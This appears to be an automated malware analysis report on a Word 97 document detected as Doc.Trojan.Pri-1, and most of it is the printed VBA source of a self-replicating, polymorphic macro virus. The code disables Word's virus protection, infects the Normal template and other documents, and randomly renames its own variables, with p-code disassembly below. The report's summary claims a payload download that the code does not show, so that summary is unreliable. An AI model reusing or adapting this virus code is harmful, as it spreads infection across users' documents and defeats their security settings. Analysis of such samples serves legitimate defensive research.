Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 138c6bd193ad2d2f…

MALICIOUS

Office (OLE)

50.0 KB Created: 2000-12-14 16:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ad910c26e82d213dfe2395466a9a4b60 SHA-1: 7a19e7a8f20db3768f630d99e14354b782398ffd SHA-256: 138c6bd193ad2d2f1fec7e2a8ed471769a584849f193b70bb581a3cf3f8be6b9
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Pri-1. It contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening the document. The macro appears to be designed to download and execute a secondary payload, though the exact mechanism is obfuscated.

Heuristics 3

  • ClamAV: Doc.Trojan.Pri-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pri-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11826 bytes
SHA-256: bc53e2e0f954f258c2e2ebb0b630f08888665504e10a4adad18d104079036c92
Detection
ClamAV: Doc.Trojan.Pri-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Close()

Options.ConfirmConversions = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0
If Day(Now) = Minute(Now) Then
Randomize: For x = 1 To 10
ActiveDocument.Shapes.AddShape(msoShapePentagon, Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid: Next x: End If
RH926 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
RV4160 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set TG3961 = ActiveDocument.VBProject.VBComponents.Item(1)
JR4747 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set TG3961 = NormalTemplate.VBProject.VBComponents.Item(1)
AI6150 = True
Call UV6573_HU7577
ActiveDocument.Saved = True
End If
If AI6150 <> True And JR4747 <> True Then GoTo UD423
If AI6150 = True Then TG3961.CodeModule.AddFromString ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, RH926 - 1) & vbCr & "Sub ViewVBCode" & vbCr & "End Sub")
If JR4747 = True Then TG3961.CodeModule.AddFromString ("Private Sub Document_Open" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, RV4160 - 3))
UD423:
If RV4160 <> 0 And RH926 = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub 'W97M/PSD ...porn star dreams? [(c)1998 ALT-F11 code hack]
Private Function UV6573_HU7577()
On Error Resume Next
Randomize
Dim r1(1 To 14) As String
r1(1) = "NA5228": r1(2) = "SN1930": r1(3) = "UV666": r1(4) = "CV9190": r1(5) = "HU7577": r1(6) = "RH926"
r1(7) = "RV4160": r1(8) = "JR4747":: r1(9) = "TG3961": r1(10) = "AI6150": r1(11) = "UD423": r1(12) = "UV6573": r1(13) = "QS2631": r1(14) = "AF6643"
For x = 1 To 14
a1 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100) & Int(Rnd * 100)
Call HU7577(a1, r1(x))
Next x
End Function 'VAMP v1.0 [thanks Vic!]
Private Function HU7577(AF6643, QS2631 As String)
On Error Resume Next
Dim NA5228 As Long: Dim SN1930 As Long: Dim UV666 As Long: Dim CV9190 As Long
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
NA5228 = 1: SN1930 = 1: UV666 = .CountOfLines: CV9190 = Len(.Lines(.CountOfLines, 1))
Do While .Find(QS2631, NA5228, SN1930, UV666, CV9190, True)
strline = .Lines(NA5228, 1)
strline = Left(strline, SN1930 - 1) & AF6643 & Mid(strline, CV9190)
.replaceline NA5228, strline
NA5228 = UV666 + 1: SN1930 = 1:
UV666 = .CountOfLines
CV9190 = Len(.Lines(.CountOfLines, 1))
Loop
End With
End Function
Sub ViewVBCode()
End Sub

' Processing file: /opt/analyzer/scan_staging/995456fa415e471495978eeba2b75f52.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 10415 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #3:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	Ld Now 
' 	ArgsLd Minute 0x0001 
' 	Eq 
' 	IfBlock 
' Line #4:
' 	ArgsCall Read 0x0000 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x000A 
' 	For 
' Line #5:
' 	Ld msoShapePentagon 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnInt 
' 	Ld Rnd 
' 	LitDI2 0x01F4 
' 	Mul 
' 	FnIn
... (truncated)